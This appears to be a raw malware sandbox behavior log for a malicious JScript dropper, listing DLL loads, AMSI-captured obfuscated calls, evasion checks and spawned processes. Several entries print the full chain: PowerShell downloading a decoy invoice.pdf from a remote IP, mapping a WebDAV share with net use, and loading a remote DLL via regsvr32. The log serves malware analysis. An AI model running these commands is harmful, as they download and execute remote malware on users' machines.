Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6580.js.csv");ITextStream.WriteLine(" entry:7331 f:khlqcskiu");ITextStream.WriteLine(" exec:2 f:khlqcskiu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4569			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5304			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3144	Thread sleep count: 4569 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3144	Thread sleep count: 5304 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 348	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2200	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1436	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6556	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2101309122.000002237F139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu
Source: svchost.exe, 00000009.00000002.3328749283.000001A5B442B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`s
Source: net.exe, 00000007.00000002.2101309122.000002237F0D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F139000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3330002985.000001A5B9A55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
